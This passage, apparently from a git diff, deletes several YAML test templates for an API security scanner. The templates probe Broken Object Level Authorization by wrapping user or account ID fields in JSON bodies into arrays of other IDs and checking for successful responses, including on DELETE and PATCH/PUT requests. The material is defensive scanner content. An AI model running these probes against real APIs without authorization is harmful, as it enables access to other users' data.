- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElements.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElements.yml
deleted file mode 100644
index a9f40e48..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElements.yml
+++ /dev/null
@@ -1,140 +0,0 @@
-id: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY
-info:
- name: "BOLA: Turning JSON Param into Array of Params for Unauthorized Access"
- description: >
- "This manipulation involves converting JSON parameter into array of multiple elements to potentially
- circumvent security measures and gain unauthorized entry. Such actions underscore
- the importance of securing input validation and emphasize the risks associated with
- broken object-level authorization, necessitating robust security practices to thwart
- unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test. This involves converting JSON parameter into array of multiple elements, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry. This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
- value:
- extract: userVal
-
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - ${random_ids}
- - ${userVal}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match_schema:
- gte: 90
- percentage_match:
- lt: 10
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElementsPATCH.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElementsPATCH.yml
deleted file mode 100644
index 1329cc95..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElementsPATCH.yml
+++ /dev/null
@@ -1,134 +0,0 @@
-id: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY_PATCH
-info:
- name: "BOLA: Turning JSON Param into Array of Params for Unauthorized Access for PATCH/PUT method APIs"
- description: >
- "This manipulation involves converting JSON parameter into array of multiple elements to potentially circumvent security measures and gain unauthorized entry (for requests with PATCH/PUT methods). Such actions underscore the importance of securing input validation and emphasize the risks associated with broken object-level authorization, necessitating robust security practices to thwart unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test. This involves converting JSON parameter into array of multiple elements, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry (for requests with PATCH/PUT methods). This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PATCH
- - PUT
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
- value:
- extract: userVal
-
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - ${random_ids}
- - ${userVal}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElementsWithInteger.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElementsWithInteger.yml
deleted file mode 100644
index 89d8756f..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElementsWithInteger.yml
+++ /dev/null
@@ -1,158 +0,0 @@
-id: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY_INTEGER_VAL
-info:
- name: "BOLA: Turning JSON Param into Array of Params with Integer for Unauthorized Access"
- description: >
- "This manipulation involves converting JSON parameter into array of multiple elements with Integer to potentially
- circumvent security measures and gain unauthorized entry. Such actions underscore
- the importance of securing input validation and emphasize the risks associated with
- broken object-level authorization, necessitating robust security practices to thwart
- unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test. This involves converting JSON parameter into array of multiple elements with Integer, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry. This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY_INTEGER_VAL
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- for_one:
- key:
- eq: "content-type"
- value:
- regex: "json"
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- random_ids:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - ${random_ids}
- - ${userVal}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- for_one:
- key:
- eq: "content-type"
- value:
- regex: "json"
- response_payload:
- length:
- gt: 0
- percentage_match_schema:
- gte: 90
- percentage_match:
- lt: 10
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElementsWithIntegerPATCH.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElementsWithIntegerPATCH.yml
deleted file mode 100644
index 24fdf05d..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayMultiElementsWithIntegerPATCH.yml
+++ /dev/null
@@ -1,134 +0,0 @@
-id: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY_INTEGER_VAL_PATCH
-info:
- name: "BOLA: Turning JSON Param into Array of Params with Integer for Unauthorized Access with PATCH/PUT method APIs"
- description: >
- "This manipulation involves converting JSON parameter into array of multiple elements with Integer to potentially circumvent security measures and gain unauthorized entry (with APIs having PUT/PATCH method). Such actions underscore the importance of securing input validation and emphasize the risks associated with broken object-level authorization, necessitating robust security practices to thwart unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test. This involves converting JSON parameter into array of multiple elements with Integer, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry. This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY_INTEGER_VAL_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- random_ids:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - ${random_ids}
- - ${userVal}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayPATCH.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayPATCH.yml
deleted file mode 100644
index f1396cbb..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayPATCH.yml
+++ /dev/null
@@ -1,131 +0,0 @@
-id: ID_WRAP_ARRAY_JSON_BODY_PATCH
-info:
- name: "BOLA: Turning JSON Param into Array for Unauthorized Access with PATCH/PUT method APIs"
- description: >
- "This manipulation involves converting JSON parameter into array of single element to potentially circumvent security measures and gain unauthorized entry (where API request method is PATCH/PUT). Such actions underscore the importance of securing input validation and emphasize the risks associated with broken object-level authorization, necessitating robust security practices to thwart unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test (where API request method is PATCH/PUT). This involves converting JSON parameter into array of single element, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry. This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_JSON_BODY_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - "${random_ids}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamIntegerArray.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamIntegerArray.yml
deleted file mode 100644
index 171f5c94..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamIntegerArray.yml
+++ /dev/null
@@ -1,155 +0,0 @@
-id: ID_WRAP_ARRAY_JSON_BODY_INTEGER_ID
-info:
- name: "BOLA: Turning JSON Param into Integer Array for Unauthorized Access"
- description: >
- "This manipulation involves converting JSON parameter into array of single Integer element to potentially
- circumvent security measures and gain unauthorized entry. Such actions underscore
- the importance of securing input validation and emphasize the risks associated with
- broken object-level authorization, necessitating robust security practices to thwart
- unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test. This involves converting JSON parameter into array of single Integer element, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry. This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_JSON_BODY_INTEGER_ID
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- response_headers:
- for_one:
- key:
- eq: content-type
- value:
- regex: "json"
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-wordLists:
- random_ids:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_headers:
- for_one:
- key:
- eq: content-type
- value:
- regex: "json"
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamIntegerArrayDELETE.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamIntegerArrayDELETE.yml
deleted file mode 100644
index 448c5220..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamIntegerArrayDELETE.yml
+++ /dev/null
@@ -1,129 +0,0 @@
-id: ID_WRAP_ARRAY_JSON_BODY_INTEGER_ID_DELETE
-info:
- name: "BOLA: Turning JSON Param into Integer Array for Unauthorized Access with DELETE method APIs"
- description: >
- "This manipulation involves converting JSON parameter into array of single Integer element to potentially circumvent security measures and gain unauthorized entry (where requests have DELETE HTTP method). Such actions underscore the importance of securing input validation and emphasize the risks associated with broken object-level authorization, necessitating robust security practices to thwart unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test (where requests have DELETE HTTP method). This involves converting JSON parameter into array of single Integer element, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry. This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_JSON_BODY_INTEGER_ID_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-wordLists:
- random_ids:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamMultiElementsWithIntegerDELETE.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamMultiElementsWithIntegerDELETE.yml
deleted file mode 100644
index de9d0e2d..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamMultiElementsWithIntegerDELETE.yml
+++ /dev/null
@@ -1,132 +0,0 @@
